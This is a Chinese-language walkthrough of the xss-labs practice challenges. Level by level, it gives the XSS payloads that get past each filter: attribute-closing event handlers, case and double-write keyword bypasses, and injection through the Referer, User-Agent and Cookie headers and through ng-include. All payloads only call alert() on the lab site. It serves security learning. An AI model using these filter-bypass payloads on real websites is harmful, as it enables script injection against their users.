xss-labs通关教程
第一关
查看网页源码
没有任何限制
payload
http://xss/level1.php?name=<script>alert(111)</script>
第二关
查看源码
发现test被双引号和<>包围着,因此需要让它们闭合。
payload
http://xss/level2.php?keyword="><script>alert(111)</script><"
第三关
分析思路
输入<script>alter(111)</script>,查看网页源码
可以发现特殊字符被实体转义了,因此我们需要绕过实体转义。在此使用
’ οnfοcus=javascript:alert() '。
pyload
http://xss/level3.php?keyword=' onfocus=javascript:alert() '
http://xss/level3.php?keyword='onmouseup=alert(123)//
输入’ οnfοcus=javascript:alert() '后再次点击输入框即可。
第四关
分析思路
输入<script>alter(111)</script>,查看网页源码
发现跟第三关一样进行了实体转义,唯一不同的就是第三关需要对单引号进行闭合,而第四关需要对双引号进行闭合。
payload
http://xss/level4.php?keyword=" onfocus=javascript:alert() "
http://xss/level5.php?keyword="onmouseup=alert(123)//
第五关
分析思路
输入<script>alter(111)</script>,查看网页源码
发现第一个script被替换成了scr_ipt,所以换没有script的方式写入。
payload
"> <a href=javascript:alert()>123</a> <"
第六关
分析思路
输入<script>alter(111)</script>,查看网页源码
发现网页对输入做了实体转义,并且闭合符号为双引号。
尝试用第四关pyload,发现输入的语句on被替换成o_n,于是尝试大小写绕过。
发现输入的语句区分大小写,因此将第五关payload关键字href转换成大写进行尝试。
payload
"> <a HREF=javascript:alert()>123</a> <"
第七关
分析思路
输入第六关payload查看网页源码
发现网页对特殊字符进行了实体转义,过滤了href、script等关键字,闭合符号为双引号,并且不区分大小写。
对此尝试进行双写绕过。
payload
"> <a HRhrefEF=javascscriptript:alert()>123</a> <"
第八关
输入第七关payload
发现对输入的herf、script等关键字中间添加了下划线,并且对双引号进行了实体转义,说明网页可以对实体转义内容自动解析。
于是尝试将payload也实体转义。
payload
javascript:alert()
第九关
分析思路
输入第八关paylaod查看网页源码
发现网页内容跟第八关类似,区别就是在herf里的内容,这里给了提示(链接不合法),于是尝试输入一个合法的链接观察变化。输入http://www.baidu.com发现点击后可以正常跳转,于是推测区别就在于http://,于是更改payload进行尝试。
payload
javascript:alert(1)//http://www.baidu.com
第十关
分析思路
输入第九关paylaod查看网页源码
在url上输入的数据没有了,并且源码里没有keyword这个参数,说明我们需要换成别的参数t_link、t_history、t_sort三个参数任选一个,由于被隐藏了所以需要添加type=“text”,用利用双引号闭合实现payload。
payload
?t_sort=" onfocus=javascript:alert() type="text
第十一关
分析思路
输入第十关payload查看源码
发现输入的参数被实体转义了,并且相对于第十关多了个t_ref参数,对此尝试在url对t_ref进行传参,发现t_ref的内容没有变化,有可能传参的地方并不在url。于是用burp抓取请求包进行转发,添加Referer字段,并将其参数设置为第十关payload。
payload
Referer: " onfocus=javascript:alert() type="text
第十二关
分析思路
查看网页源码
观察网页源码,发现多出了个t_ua字段,推测可能在user-agent上进行写入。于是用burp修改请求内容,在User-Agent上修改内容将浏览器信息替换成第十关payload。
payload
User-Agent: " onfocus=javascript:alert() type="text
第十三关
分析思路
查看网页源码
观察网页源码,发现多出了个t_cook字段,推测可能在cookie上进行写入。于是用burp修改请求内容,在cookie修改内容将浏览器信息替换成第十关payload。
payload
Cookie: user=" onfocus=javascript:alert() type="text
第十四关
由于链接中的网页失效了,这里就跳过
第十五关
分析思路
查看网页源代码
发现有个ng-include指令,具体指令内容请参考https://blog.youkuaiyun.com/u011127019/article/details/53666528
payload
?src=%27level1.php?name=test<img%20src=1%20onerror=alert(1)>%27
第十六关
分析思路
输入<script>alert()</script>查看网页源码
发现script,/,空格都被替换成了 ,因此用不带script和/的payload,并且使用%0d %0a做分割符
payload
?keyword=<img%0asrc=1%0aonerror=alert(1)>
十七关
分析思路
在url后输入 aaaaaaaaaa观察网页源码
通关分析源码发现传递的参数值是写在<embed>
标签中的,考虑使用<embed>
标签支持的事件属性进行注入,用on事件触发。
payload
?arg01=a&arg02=b%20onmouseout=alert(1)
十八关
跟第十七关一样